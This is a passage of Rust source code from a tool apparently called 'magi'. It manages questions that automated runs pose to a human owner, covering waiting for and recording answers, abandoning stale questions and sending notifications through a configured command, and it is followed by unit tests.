1640 .collect()
1641 }
1642
1643 pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1656 let mut abandoned = 0;
1657 for mut q in self.open_for(run) {
1658 q.abandon(why);
1659 self.put(&mut q)?;
1660 abandoned += 1;
1661 }
1662 Ok(abandoned)
1663 }
1664
1665 pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
1689 if status.resumable() {
1690 return Ok(0);
1691 }
1692 let why = format!(
1693 "run {run} {}, so nothing is waiting for this answer",
1694 status.as_str()
1695 );
1696 let mut abandoned = 0;
1701 for mut q in self.open_for(run) {
1702 if q.node == crate::bump::NOTICE_NODE {
1703 continue;
1704 }
1705 if q.routed_task.is_some() && q.routed_chat.is_none() {
1709 continue;
1710 }
1711 q.abandon(&why);
1712 self.put(&mut q)?;
1713 abandoned += 1;
1714 }
1715 Ok(abandoned)
1716 }
1717
1718 pub fn resolve_id(&self, prefix: &str) -> Result<String> {
1721 use crate::queue::{Reference, record_ids, resolve_reference};
1722 let ids = record_ids(&self.root, "json")?;
1723 match resolve_reference(prefix, ids.iter().map(String::as_str)) {
1724 Reference::Found(id) => Ok(id),
1725 Reference::Missing => bail!("no question matches `{prefix}`"),
1726 Reference::Ambiguous => bail!("`{prefix}` matches multiple questions"),
1727 }
1728 }
1729
1730 pub fn revision(&self) -> u64 {
1734 std::fs::read_dir(&self.root)
1735 .into_iter()
1736 .flatten()
1737 .flatten()
1738 .filter_map(|e| e.metadata().ok())
1739 .filter_map(|m| m.modified().ok())
1740 .filter_map(|t| t.duration_since(std::time::UNIX_EPOCH).ok())
1741 .map(|d| d.as_millis() as u64)
1742 .max()
1743 .unwrap_or(0)
1744 }
1745
1746 pub fn count_open(&self) -> usize {
1752 self.list().iter().filter(|q| q.status.open()).count()
1753 }
1754
1755 pub fn count_needs_owner(&self) -> usize {
1764 self.list()
1765 .iter()
1766 .filter(|q| q.status.open() && (!q.waiting_on_agent() || self.deputy_exhausted(q)))
1767 .count()
1768 }
1769
1770 pub fn deputy_exhausted(&self, q: &Question) -> bool {
1774 q.status.open()
1775 && q.deputy
1776 .as_ref()
1777 .is_some_and(|d| d.starts >= crate::deputy::MAX_STARTS)
1778 && !self
1779 .read_lease(&q.id)
1780 .is_some_and(|l| l.fresh(Timestamp::now()))
1781 }
1782}
1783
1784#[derive(Debug, Clone, PartialEq, Eq)]
1786pub enum Wait {
1787 Answered(String),
1789 Replied(String),
1794 Pending,
1801 Abandoned,
1806}
1807
1808pub async fn ask_and_wait(
1815 q: &mut Question,
1816 store: &Questions,
1817 notify: &config::Notify,
1818 timeout: Duration,
1819) -> Result<Wait> {
1820 wait_for_owner(q, store, notify, timeout, POLL).await
1821}
1822
1823pub async fn resume_wait(q: &mut Question, store: &Questions, timeout: Duration) -> Result<Wait> {
1838 wait_loop(q, store, timeout, WAIT_SLICE, POLL).await
1839}
1840
1841async fn wait_for_owner(
1847 q: &mut Question,
1848 store: &Questions,
1849 cfg: &config::Notify,
1850 timeout: Duration,
1851 poll: Duration,
1852) -> Result<Wait> {
1853 if !store.path_of(&q.id).is_file() {
1857 store.put(q).context("file the question")?;
1858 }
1859 if q.should_notify(Timestamp::now()) {
1860 if let Err(e) = notify(cfg, q).await {
1861 tracing::warn!(
1866 "could not notify about question {}: {e:#} - the web UI is the \
1867 only surface for it now",
1868 q.short()
1869 );
1870 }
1871 }
1872 tracing::info!(
1873 "question {} from {} is waiting for you: {}",
1874 q.short(),
1875 q.seat,
1876 q.summary
1877 );
1878 wait_loop(q, store, timeout, WAIT_SLICE, poll).await
1879}
1880
1881fn hold(store: &Questions, id: &str) {
1883 store.beat(id, WaiterKind::Asker);
1884 let took = store.update(id, |q| {
1885 if q.status.open() {
1886 q.waiter = Some(Waiter {
1887 kind: WaiterKind::Asker,
1888 since: Timestamp::now(),
1889 });
1890 }
1891 Ok(())
1892 });
1893 if let Err(e) = took {
1894 tracing::debug!("could not note the wait on question {id}: {e:#}");
1895 }
1896}
1897
1898pub fn record_answer(
1909 store: &Questions,
1910 id: &str,
1911 reply: &str,
1912 title: Option<&str>,
1913) -> Result<String> {
1914 let (q, ()) = store.update(id, |r| {
1915 let answer = if r.free_text() {
1916 Answer::Text(reply.to_owned())
1917 } else {
1918 Answer::Choice(r.resolve_reply(reply)?.to_owned())
1919 };
1920 let replacement = r.node == crate::github_text::ASK_NODE
1921 && matches!(&answer, Answer::Choice(choice) if choice == crate::github_text::USE_MY_TEXT);
1922 if replacement {
1923 let title =
1924 title.context("use my text needs --title with the literal replacement title")?;
1925 if title.trim().is_empty() {
1926 bail!("replacement title must not be empty");
1927 }
1928 r.publication_title = Some(title.to_owned());
1929 } else if title.is_some() {
1930 bail!("--title is only valid for a publication decision's `use my text` choice");
1931 }
1932 r.answer(answer)
1933 })?;
1934 let mut out = format!("answered {} {}", q.short(), q.summary);
1935 let resolution = q.resolution();
1936 let approval = q.node == crate::land::APPROVAL_NODE;
1937 if approval && resolution.as_deref() == Some(crate::merge_decision::DISMISS) {
1938 out.push_str(
1939 "\nObsolete approval ended; its execution is retired, history retained and PR unchanged. No merge or replacement was authorized.",
1940 );
1941 }
1942 if approval
1943 && resolution.as_deref() != Some(crate::merge_decision::DISMISS)
1944 && resolution
1945 .as_deref()
1946 .is_some_and(crate::merge_decision::stops)
1947 {
1948 out.push_str(&format!(
1949 "\nDecision recorded; the existing owner must resume to apply it. This answer command has not closed a PR, dispatched replacement work or approved a merge. A running magi serve / magi web resumes the parked owner; otherwise use `magi run --resume {}`. Do not create another task.",
1950 q.run
1951 ));
1952 }
1953 if approval && resolution.as_deref() == Some(crate::land::REPAIR) {
1954 out.push_str(&format!(
1955 "\nRepair requested; this answer command has not started repair or approved a merge. \
1956 A running magi serve / magi web resumes the existing run. Without one, \
1957 run `magi run --resume {}` to start repair and re-review; do not create another task or run.",
1958 q.run
1959 ));
1960 }
1961 Ok(out)
1962}
1963
1964pub fn hand_over(store: &Questions, q: &mut Question) {
1972 let done = store.update(&q.id, |r| {
1973 r.delivered_turns = r.delivered_turns.max(q.thread.len());
1974 if r.status == QuestionStatus::Answered {
1975 r.answer_delivered = true;
1976 }
1977 r.waiter = None;
1978 Ok(())
1979 });
1980 match done {
1981 Ok((fresh, ())) => *q = fresh,
1982 Err(e) => tracing::debug!("could not record the hand-over of {}: {e:#}", q.short()),
1983 }
1984}
1985
1986pub fn answer_for_agent(q: &Question, answer: &str) -> String {
1990 let says = q.undelivered_owner_turns();
1991 if says.is_empty() {
1992 return answer.to_owned();
1993 }
1994 format!(
1995 "the owner also said, before answering:\n\n{}\n\nthe owner answered:\n\n{answer}",
1996 says.join("\n\n")
1997 )
1998}
1999
2000pub fn deliver_answer(
2003 store: &Questions,
2004 q: &mut Question,
2005 answer: &str,
2006 out: &mut impl std::io::Write,
2007) -> std::io::Result<()> {
2008 writeln!(out, "{}", answer_for_agent(q, answer))?;
2009 out.flush()?;
2010 hand_over(store, q);
2011 Ok(())
2012}
2013
2014async fn wait_loop(
2024 q: &mut Question,
2025 store: &Questions,
2026 timeout: Duration,
2027 slice: Duration,
2028 poll: Duration,
2029) -> Result<Wait> {
2030 if let Some(said) = q.unread_from_owner() {
2040 return Ok(Wait::Replied(said));
2041 }
2042 hold(store, &q.id);
2043
2044 let bounded = timeout.min(slice);
2045 let is_the_real_deadline = bounded >= timeout;
2046 let deadline = tokio::time::Instant::now() + bounded;
2047 loop {
2048 let now = tokio::time::Instant::now();
2049 if now >= deadline {
2050 if !is_the_real_deadline {
2051 return Ok(Wait::Pending);
2055 }
2056 let why = format!("no answer within {}s of asking", timeout.as_secs().max(1));
2057 let (fresh, unread) = store
2061 .update(&q.id, |r| {
2062 let unread = r.unread_from_owner();
2063 if unread.is_none() {
2064 r.abandon(&why);
2065 r.waiter = None;
2066 }
2067 Ok(unread)
2068 })
2069 .context("record the abandoned question")?;
2070 *q = fresh;
2071 if let Some(said) = unread {
2072 return Ok(Wait::Replied(said));
2073 }
2074 tracing::warn!(
2075 "question {} went unanswered for {}s; the run parks and the \
2076 question stays as the record of it",
2077 q.short(),
2078 timeout.as_secs()
2079 );
2080 return Ok(Wait::Abandoned);
2081 }
2082 tokio::time::sleep(poll.min(deadline - now)).await;
2083 store.beat(&q.id, WaiterKind::Asker);
2084 match store.get(&q.id) {
2085 Ok(fresh) if !fresh.status.open() => {
2086 *q = fresh;
2090 return Ok(match q.resolution() {
2091 Some(a) => Wait::Answered(a),
2092 None => Wait::Abandoned,
2095 });
2096 }
2097 Ok(fresh) => {
2098 if let Some(said) = fresh.unread_from_owner() {
2099 *q = fresh;
2100 return Ok(Wait::Replied(said));
2101 }
2102 }
2105 Err(e) => {
2106 tracing::debug!("could not re-read question {}: {e:#}", q.short());
2110 }
2111 }
2112 }
2113}
2114
2115pub async fn notify(cmd: &config::Notify, q: &Question) -> Result<()> {
2126 if q.routed_task.is_some() {
2127 return Ok(());
2128 }
2129 let mut summary = format!("Question {}: {}", q.short(), q.summary.trim());
2130 if q.status.open() {
2131 summary.push_str(&format!(
2132 " Respond in Questions or with `magi answer {}`.",
2133 q.id
2134 ));
2135 }
2136 let url = question_url(&std::env::var(WEB_URL_ENV).unwrap_or_default());
2137 notify_at(cmd, &q.run, &summary, &url).await
2138}
2139
2140pub async fn notify_text(cmd: &config::Notify, run: &str, summary: &str) -> Result<()> {
2143 let url = view_url(
2144 &std::env::var(WEB_URL_ENV).unwrap_or_default(),
2145 "notifications",
2146 );
2147 notify_at(cmd, run, summary, &url).await
2148}
2149
2150async fn notify_at(cmd: &config::Notify, run: &str, summary: &str, url: &str) -> Result<()> {
2151 let Some((program, args)) = cmd.command.split_first() else {
2152 return Ok(());
2154 };
2155 if url.is_empty() && cmd.command.iter().any(|a| a.contains("{url}")) {
2156 tracing::warn!(
2157 "the notification command uses {{url}} but {WEB_URL_ENV} is unset, \
2158 so the link will be empty - export it next to `magi serve` with \
2159 the address `magi web --open` printed"
2160 );
2161 }
2162 let argv: Vec<String> = args.iter().map(|a| expand(a, run, summary, url)).collect();
2163 tracing::debug!(program = %program, args = ?argv, "notifying");
2164
2165 let mut child = tokio::process::Command::new(program);
2166 child.quiet();
2167 child
2168 .args(&argv)
2169 .stdin(std::process::Stdio::null())
2170 .kill_on_drop(true);
2173 let out = match tokio::time::timeout(NOTIFY_TIMEOUT, child.output()).await {
2174 Ok(r) => r.with_context(|| format!("run notification command `{program}`"))?,
2175 Err(_) => bail!(
2176 "notification command `{program}` did not finish within {}s",
2177 NOTIFY_TIMEOUT.as_secs()
2178 ),
2179 };
2180 if !out.status.success() {
2181 let stderr = String::from_utf8_lossy(&out.stderr);
2182 let why = stderr
2183 .lines()
2184 .rev()
2185 .find(|l| !l.trim().is_empty())
2186 .unwrap_or("no output on stderr")
2187 .trim();
2188 bail!(
2189 "notification command `{program}` exited with {}: {why}",
2190 out.status
2191 );
2192 }
2193 Ok(())
2194}
2195
2196fn expand(template: &str, run: &str, summary: &str, url: &str) -> String {
2202 let table = [("{summary}", summary), ("{run}", run), ("{url}", url)];
2203 let mut out = String::with_capacity(template.len());
2204 let mut rest = template;
2205 while let Some(at) = rest.find('{') {
2206 out.push_str(&rest[..at]);
2207 let tail = &rest[at..];
2208 match table.iter().find(|(token, _)| tail.starts_with(token)) {
2209 Some((token, value)) => {
2210 out.push_str(value);
2211 rest = &tail[token.len()..];
2212 }
2213 None => {
2214 out.push('{');
2216 rest = &tail[1..];
2217 }
2218 }
2219 }
2220 out.push_str(rest);
2221 out
2222}
2223
2224fn question_url(base: &str) -> String {
2231 view_url(base, "questions")
2232}
2233
2234fn view_url(base: &str, view: &str) -> String {
2235 let base = base.trim().trim_end_matches('/');
2236 if base.is_empty() || base.contains('#') {
2237 return base.to_owned();
2238 }
2239 format!("{base}/#/{view}")
2240}
2241
2242fn fill_panel(dir: &Path, html: &str, assets: &[(String, &Path)]) -> Result<()> {
2247 let index = dir.join(PANEL_HTML);
2248 std::fs::write(&index, html).with_context(|| format!("write {}", index.display()))?;
2249 for (name, src) in assets {
2250 let dst = dir.join(name);
2251 std::fs::copy(src, &dst)
2252 .with_context(|| format!("copy {} to {}", src.display(), dst.display()))?;
2253 }
2254 Ok(())
2255}
2256
2257fn clear_dir(path: &Path) -> Result<()> {
2262 match std::fs::remove_dir_all(path) {
2263 Ok(()) => Ok(()),
2264 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(()),
2265 Err(e) => Err(e).with_context(|| format!("remove {}", path.display())),
2266 }
2267}
2268
2269fn read_path(path: &Path) -> Result<Question> {
2270 let body = std::fs::read_to_string(path).with_context(|| format!("read {}", path.display()))?;
2271 let q: Question =
2272 serde_json::from_str(&body).with_context(|| format!("parse {}", path.display()))?;
2273 if q.schema > SCHEMA {
2274 bail!(
2279 "question {} was written by a newer magi (schema {}, this build \
2280 only speaks up to {SCHEMA})",
2281 q.id,
2282 q.schema
2283 );
2284 }
2285 Ok(q)
2286}
2287
2288pub fn short_id(id: &str) -> &str {
2290 short(id)
2291}
2292
2293fn short(id: &str) -> &str {
2294 id.split('-').next_back().unwrap_or(id)
2295}
2296
2297fn new_id() -> String {
2298 let stamp = jiff::Zoned::now().strftime("%Y%m%d-%H%M%S");
2299 new_id_at(&stamp.to_string(), crate::rng::entropy())
2300}
2301
2302fn new_id_at(stamp: &str, seed: u64) -> String {
2303 static NEXT: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0);
2308 let sequence = NEXT.fetch_add(1, std::sync::atomic::Ordering::Relaxed);
2309 format!(
2310 "{stamp}-{seed:016x}-{sequence:016x}-{:04x}",
2311 (seed ^ (seed >> 32)) & 0xffff
2312 )
2313}
2314
2315#[cfg(test)]
2316mod tests {
2317 use super::*;
2318
2319 fn store() -> (tempfile::TempDir, Questions) {
2322 let dir = tempfile::tempdir().unwrap();
2323 let s = Questions::at(dir.path().join("questions"));
2324 (dir, s)
2325 }
2326
2327 #[test]
2328 fn run_names_task_only_for_task_questions() {
2329 for (node, want) in [
2330 (crate::conduct::NODE, true),
2331 (crate::triage::NODE, true),
2332 (crate::triage::DEPS_NODE, true),
2333 (crate::land::APPROVAL_NODE, false),
2334 (crate::bump::NOTICE_NODE, false),
2335 ("implement", false),
2336 ] {
2337 let mut q = choice_question();
2338 q.node = node.to_owned();
2339 assert_eq!(q.run_names_task(), want, "{node}");
2340 }
2341 }
2342
2343 #[test]
2344 fn deleting_a_run_stops_its_questions_asking() {
2345 let (_dir, store) = store();
2346
2347 let mut open_one = choice_question();
2348 store.put(&mut open_one).unwrap();
2349 let mut answered = free_question();
2350 answered
2351 .answer(Answer::Text("keep this".to_owned()))
2352 .unwrap();
2353 store.put(&mut answered).unwrap();
2354 let mut elsewhere = choice_question();
2355 elsewhere.run = "20260903-105039-3cbf".to_owned();
2356 store.put(&mut elsewhere).unwrap();
2357
2358 let n = store
2359 .abandon_for_run(&open_one.run, "run was deleted")
2360 .unwrap();
2361 assert_eq!(n, 1, "only the open question of that run");
2362
2363 let back = store.get(&open_one.id).unwrap();
2364 assert!(!back.status.open(), "it no longer asks for a decision");
2365 assert!(
2366 back.detail.contains("run was deleted"),
2367 "the operator can see why: {}",
2368 back.detail
2369 );
2370
2371 let kept = store.get(&answered.id).unwrap();
2372 assert_eq!(
2373 kept.status,
2374 QuestionStatus::Answered,
2375 "an answered question is a decision on record, not something to revoke"
2376 );
2377 assert!(
2378 store.get(&elsewhere.id).unwrap().status.open(),
2379 "another run's question is untouched"
2380 );
2381 assert!(store.open_for(&open_one.run).is_empty());
2382 }
2383
2384 #[test]
2385 fn settle_run_abandons_only_for_a_status_that_is_not_resumable() {
2386 let (_dir, store) = store();
2387 let mut q = choice_question();
2388 store.put(&mut q).unwrap();
2389
2390 let n = store.settle_run(&q.run, RunStatus::Blocked).unwrap();
2392 assert_eq!(n, 0);
2393 assert!(store.get(&q.id).unwrap().status.open());
2394
2395 let n = store.settle_run(&q.run, RunStatus::Failed).unwrap();
2398 assert_eq!(n, 1);
2399 let back = store.get(&q.id).unwrap();
2400 assert!(!back.status.open());
2401 assert!(back.detail.contains(&q.run) && back.detail.contains("failed"));
2402
2403 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2405 }
2406
2407 #[test]
2408 fn settle_run_keeps_an_undelivered_routed_decision() {
2409 let (_dir, store) = store();
2410 let mut q = choice_question();
2411 q.routed_task = Some("task".into());
2412 store.put(&mut q).unwrap();
2413 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 0);
2414 assert!(store.get(&q.id).unwrap().status.open());
2415
2416 store
2418 .update(&q.id, |r| {
2419 r.routed_chat = Some("chat".into());
2420 Ok(())
2421 })
2422 .unwrap();
2423 assert_eq!(store.settle_run(&q.run, RunStatus::Failed).unwrap(), 1);
2424 }
2425
2426 fn choice_question() -> Question {
2427 Question::new(
2428 "20260902-201256-9fb7".to_owned(),
2429 "implement".to_owned(),
2430 "impl-A".to_owned(),
2431 "Which storage backend should the cache use?".to_owned(),
2432 "Both are already dependencies.".to_owned(),
2433 vec!["SQLite".to_owned(), "Redis".to_owned()],
2434 )
2435 }
2436
2437 fn free_question() -> Question {
2438 Question::new(
2439 "20260902-201256-9fb7".to_owned(),
2440 "review".to_owned(),
2441 "rev-1".to_owned(),
2442 "What should the error message say?".to_owned(),
2443 String::new(),
2444 Vec::new(),
2445 )
2446 }
2447
2448 fn quiet() -> config::Notify {
2450 config::Notify::default()
2451 }
2452
2453 #[test]
2454 fn the_stored_json_is_the_shape_the_web_ui_was_written_against() {
2455 let mut q = choice_question();
2459 q.id = "20260902-231501-ab12".to_owned();
2460 let open: serde_json::Value = serde_json::to_value(&q).unwrap();
2461 let keys: Vec<&str> = open
2465 .as_object()
2466 .unwrap()
2467 .keys()
2468 .map(String::as_str)
2469 .collect();
2470 assert_eq!(
2471 keys,
2472 [
2473 "actions",
2474 "answer",
2475 "answer_delivered",
2476 "answer_timeout",
2477 "answered_at",
2478 "asked_at",
2479 "assets",
2480 "choices",
2481 "consult",
2482 "cwd",
2483 "decision_context",
2484 "delivered_turns",
2485 "deputy",
2486 "detail",
2487 "id",
2488 "merge_target",
2489 "node",
2490 "panel",
2491 "routed_chat",
2492 "routed_task",
2493 "run",
2494 "schema",
2495 "seat",
2496 "status",
2497 "summary",
2498 "thread",
2499 "triage_generation",
2500 "waiter",
2501 ],
2502 "the on-disk field set is a contract with the front end"
2503 );
2504 assert_eq!(open["schema"], 13);
2505 assert_eq!(open["merge_target"], serde_json::Value::Null);
2506 assert_eq!(open["triage_generation"], serde_json::Value::Null);
2507 assert_eq!(open["thread"], serde_json::json!([]));
2508 assert_eq!(open["id"], "20260902-231501-ab12");
2509 assert_eq!(open["run"], "20260902-201256-9fb7");
2510 assert_eq!(open["node"], "implement");
2511 assert_eq!(open["seat"], "impl-A");
2512 assert_eq!(open["status"], "open");
2513 assert_eq!(open["choices"], serde_json::json!(["SQLite", "Redis"]));
2514 assert_eq!(open["answered_at"], serde_json::Value::Null);
2515 assert_eq!(open["answer"], serde_json::Value::Null);
2516 let asked = open["asked_at"].as_str().unwrap();
2517 assert!(
2518 asked.ends_with('Z') && asked.contains('T'),
2519 "timestamps are UTC RFC 3339, which is what `new Date()` parses: {asked}"
2520 );
2521
2522 q.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2524 let answered = serde_json::to_value(&q).unwrap();
2525 assert_eq!(answered["status"], "answered");
2526 assert_eq!(answered["answer"], serde_json::json!({"choice": "SQLite"}));
2527 assert!(answered["answered_at"].is_string());
2528
2529 let mut free = free_question();
2531 free.answer(Answer::Text("Say which file it was".to_owned()))
2532 .unwrap();
2533 assert_eq!(
2534 serde_json::to_value(&free).unwrap()["answer"],
2535 serde_json::json!({"text": "Say which file it was"})
2536 );
2537
2538 let body = serde_json::to_string(&q).unwrap();
2540 assert_eq!(serde_json::from_str::<Question>(&body).unwrap(), q);
2541 }
2542
2543 #[test]
2544 fn merge_target_persists_and_schema_10_questions_remain_readable() {
2545 let (_dir, store) = store();
2546 let mut q = approval_question();
2547 q.merge_target = Some(crate::merge_decision::Target {
2548 pr: "https://github.com/example/repo/pull/42".into(),
2549 head: "reviewed-head".into(),
2550 language: "ja".into(),
2551 });
2552 store.put(&mut q).unwrap();
2553 let saved = store.get(&q.id).unwrap();
2554 assert_eq!(saved, q);
2555 let mut body = serde_json::to_value(&saved).unwrap();
2556 assert_eq!(body["schema"], 13);
2557 assert_eq!(
2558 body["merge_target"],
2559 serde_json::json!({
2560 "pr": "https://github.com/example/repo/pull/42",
2561 "head": "reviewed-head",
2562 "language": "ja"
2563 })
2564 );
2565
2566 body["schema"] = serde_json::json!(10);
2569 body.as_object_mut().unwrap().remove("merge_target");
2570 std::fs::write(store.path_of(&q.id), serde_json::to_vec(&body).unwrap()).unwrap();
2571 let legacy = store.get(&q.id).unwrap();
2572 assert_eq!(legacy.schema, 10);
2573 assert!(legacy.merge_target.is_none());
2574 assert_eq!(legacy.choices, q.choices);
2575 assert_eq!(legacy.status, q.status);
2576 }
2577
2578 #[test]
2579 fn an_answer_the_question_never_offered_is_refused_with_its_own_reason() {
2580 let mut unoffered = choice_question();
2583 let a = unoffered
2584 .answer(Answer::Choice("Postgres".to_owned()))
2585 .unwrap_err()
2586 .to_string();
2587
2588 let mut typed = choice_question();
2589 let b = typed
2590 .answer(Answer::Text("use Postgres".to_owned()))
2591 .unwrap_err()
2592 .to_string();
2593
2594 let mut blank = free_question();
2595 let c = blank
2596 .answer(Answer::Text(" \n".to_owned()))
2597 .unwrap_err()
2598 .to_string();
2599
2600 let mut twice = choice_question();
2601 twice.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2602 let d = twice
2603 .answer(Answer::Choice("Redis".to_owned()))
2604 .unwrap_err()
2605 .to_string();
2606
2607 assert!(a.contains("not one of the choices"), "{a}");
2608 assert!(b.contains("multiple choice"), "{b}");
2609 assert!(c.contains("empty"), "{c}");
2610 assert!(d.contains("already answered"), "{d}");
2611 let mut distinct = vec![a, b, c, d];
2612 let asked = distinct.len();
2613 distinct.sort_unstable();
2614 distinct.dedup();
2615 assert_eq!(distinct.len(), asked, "each rejection is distinguishable");
2616
2617 assert_eq!(unoffered.status, QuestionStatus::Open);
2619 assert_eq!(typed.status, QuestionStatus::Open);
2620 assert_eq!(blank.status, QuestionStatus::Open);
2621 assert_eq!(twice.resolution().as_deref(), Some("SQLite"));
2623
2624 let mut free = free_question();
2626 let e = free
2627 .answer(Answer::Choice("SQLite".to_owned()))
2628 .unwrap_err()
2629 .to_string();
2630 assert!(e.contains("free text"), "{e}");
2631 }
2632
2633 #[test]
2634 fn open_questions_are_listed_before_answered_ones() {
2635 let (_dir, s) = store();
2636 let mut old_open = choice_question();
2639 old_open.id = "20260101-000001-aaaa".to_owned();
2640 let mut new_open = choice_question();
2641 new_open.id = "20260101-000002-bbbb".to_owned();
2642 let mut answered = choice_question();
2643 answered.id = "20260101-000003-cccc".to_owned();
2644 answered.answer(Answer::Choice("Redis".to_owned())).unwrap();
2645 for q in [&mut old_open, &mut new_open, &mut answered] {
2646 s.put(q).unwrap();
2647 }
2648
2649 let ids: Vec<String> = s.list().into_iter().map(|q| q.id).collect();
2650 assert_eq!(
2651 ids,
2652 [
2653 "20260101-000002-bbbb",
2654 "20260101-000001-aaaa",
2655 "20260101-000003-cccc"
2656 ],
2657 "what has stopped work comes first; history sorts underneath"
2658 );
2659 assert_eq!(s.count_open(), 2);
2660 assert_eq!(s.open_for("20260902-201256-9fb7").len(), 2);
2661 assert!(s.open_for("some-other-run").is_empty());
2662 assert_eq!(s.resolve_id("bbbb").unwrap(), "20260101-000002-bbbb");
2664 assert!(s.get("20260101-000002-bbbb").is_ok());
2665 assert!(s.resolve_id("nope").is_err());
2666 assert!(
2667 s.revision() > 0,
2668 "the store's mtime drives the phone's polling"
2669 );
2670 }
2671
2672 #[test]
2673 fn a_question_file_magi_cannot_read_does_not_take_the_listing_down() {
2674 let (_dir, s) = store();
2675 let mut good = choice_question();
2676 s.put(&mut good).unwrap();
2677 std::fs::write(s.path_of("20260101-000009-dead"), "{\"schema\": 1, \"id\"").unwrap();
2679 let future = serde_json::json!({
2680 "schema": 99, "id": "20260101-000010-beef", "run": "r", "node": "n",
2681 "seat": "s", "summary": "?", "detail": "", "choices": [],
2682 "status": "open", "asked_at": "2026-01-01T00:00:00Z",
2683 "answered_at": null, "answer": null,
2684 });
2685 std::fs::write(
2686 s.path_of("20260101-000010-beef"),
2687 serde_json::to_string(&future).unwrap(),
2688 )
2689 .unwrap();
2690
2691 let listed = s.list();
2692 assert_eq!(listed.len(), 1, "one bad file must not hide the open one");
2693 assert_eq!(listed[0].id, good.id);
2694 let e = s.get("20260101-000010-beef").unwrap_err().to_string();
2696 assert!(e.contains("schema"), "{e}");
2697 }
2698
2699 #[tokio::test]
2700 async fn the_wait_returns_the_answer_another_process_wrote() {
2701 let (dir, s) = store();
2706 let mut q = choice_question();
2707 let id = q.id.clone();
2708 let writer = Questions::at(dir.path().join("questions"));
2709 let handle = tokio::spawn(async move {
2710 tokio::time::sleep(Duration::from_millis(30)).await;
2711 let mut fresh = writer.get(&id).expect("the question was filed first");
2712 fresh.answer(Answer::Choice("SQLite".to_owned())).unwrap();
2713 writer.put(&mut fresh).unwrap();
2714 });
2715
2716 let got = wait_for_owner(
2717 &mut q,
2718 &s,
2719 &quiet(),
2720 Duration::from_secs(5),
2721 Duration::from_millis(10),
2722 )
2723 .await
2724 .unwrap();
2725
2726 handle.await.unwrap();
2727 assert_eq!(got, Wait::Answered("SQLite".to_owned()));
2728 assert_eq!(
2729 q.status,
2730 QuestionStatus::Answered,
2731 "the caller's copy is refreshed from the answering process's record"
2732 );
2733 assert!(q.answered_at.is_some());
2734 }
2735
2736 #[tokio::test]
2737 async fn a_question_nobody_answers_is_abandoned_not_deleted() {
2738 let (_dir, s) = store();
2739 let mut q = choice_question();
2740
2741 let got = wait_for_owner(
2742 &mut q,
2743 &s,
2744 &quiet(),
2745 Duration::from_millis(60),
2746 Duration::from_millis(10),
2747 )
2748 .await
2749 .unwrap();
2750
2751 assert_eq!(
2752 got,
2753 Wait::Abandoned,
2754 "a slow human is not an error; the run parks"
2755 );
2756 assert_eq!(q.status, QuestionStatus::Abandoned);
2757 let on_disk = s.get(&q.id).expect("the record of what was asked survives");
2758 assert_eq!(on_disk.status, QuestionStatus::Abandoned);
2759 assert!(
2760 on_disk.detail.contains("Abandoned:"),
2761 "why nobody answered belongs with the question: {}",
2762 on_disk.detail
2763 );
2764 assert!(on_disk.resolution().is_none());
2765 assert_eq!(s.count_open(), 0);
2766 }
2767
2768 #[tokio::test]
2769 async fn a_slice_running_out_leaves_the_question_open_rather_than_abandoning_it() {
2770 let (_dir, s) = store();
2775 let mut q = choice_question();
2776 s.put(&mut q).unwrap();
2777
2778 let got = wait_loop(
2779 &mut q,
2780 &s,
2781 Duration::from_secs(3600),
2782 Duration::from_millis(30),
2783 Duration::from_millis(10),
2784 )
2785 .await
2786 .unwrap();
2787
2788 assert_eq!(
2789 got,
2790 Wait::Pending,
2791 "the clock on this call ran out, not the owner's patience"
2792 );
2793 assert_eq!(
2794 q.status,
2795 QuestionStatus::Open,
2796 "a slice expiring must never abandon the question"
2797 );
2798 let on_disk = s.get(&q.id).expect("still on disk, still open");
2799 assert_eq!(
2800 on_disk.status,
2801 QuestionStatus::Open,
2802 "nothing about the record changed just because this call gave up"
2803 );
2804 }
2805
2806 #[tokio::test]
2807 async fn a_wait_resumed_after_a_slice_sees_the_answer_the_first_slice_missed() {
2808 let (dir, s) = store();
2813 let mut q = choice_question();
2814 s.put(&mut q).unwrap();
2815
2816 let first = wait_loop(
2817 &mut q,
2818 &s,
2819 Duration::from_secs(3600),
2820 Duration::from_millis(30),
2821 Duration::from_millis(10),
2822 )
2823 .await
2824 .unwrap();
2825 assert_eq!(first, Wait::Pending);
2826
2827 let id = q.id.clone();
2828 let writer = Questions::at(dir.path().join("questions"));
2829 let mut fresh = writer.get(&id).unwrap();
2830 fresh.answer(Answer::Choice("Redis".to_owned())).unwrap();
2831 writer.put(&mut fresh).unwrap();
2832
2833 let second = resume_wait(&mut q, &s, Duration::from_millis(500))
2838 .await
2839 .unwrap();
2840 assert_eq!(second, Wait::Answered("Redis".to_owned()));
2841 assert_eq!(q.status, QuestionStatus::Answered);
2842 }
2843
2844 #[tokio::test]
2845 async fn a_reply_left_in_the_gap_before_a_resumed_wait_starts_is_never_missed() {
2846 let (dir, s) = store();
2856 let mut q = choice_question();
2857 s.put(&mut q).unwrap();
2858
2859 let first = wait_loop(
2860 &mut q,
2861 &s,
2862 Duration::from_secs(3600),
2863 Duration::from_millis(30),
2864 Duration::from_millis(10),
2865 )
2866 .await
2867 .unwrap();
2868 assert_eq!(first, Wait::Pending);
2869
2870 let id = q.id.clone();
2872 let writer = Questions::at(dir.path().join("questions"));
2873 let mut fresh = writer.get(&id).unwrap();
2874 fresh.say("why not Postgres?").unwrap();
2875 writer.put(&mut fresh).unwrap();
2876
2877 let mut resumed = s.get(&id).unwrap();
2881 let second = resume_wait(&mut resumed, &s, Duration::from_millis(500))
2882 .await
2883 .unwrap();
2884 assert_eq!(second, Wait::Replied("why not Postgres?".to_owned()));
2885 assert_eq!(
2886 resumed.status,
2887 QuestionStatus::Open,
2888 "talking back is not a decision; the question stays open"
2889 );
2890 }
2891
2892 #[tokio::test]
2893 async fn a_notification_that_cannot_run_does_not_cost_the_answer() {
2894 let (dir, s) = store();
2898 let broken = config::Notify {
2899 command: vec![
2900 "magi-notifier-that-does-not-exist-9fb7".to_owned(),
2901 "{summary}".to_owned(),
2902 ],
2903 };
2904 let mut q = choice_question();
2905 assert!(
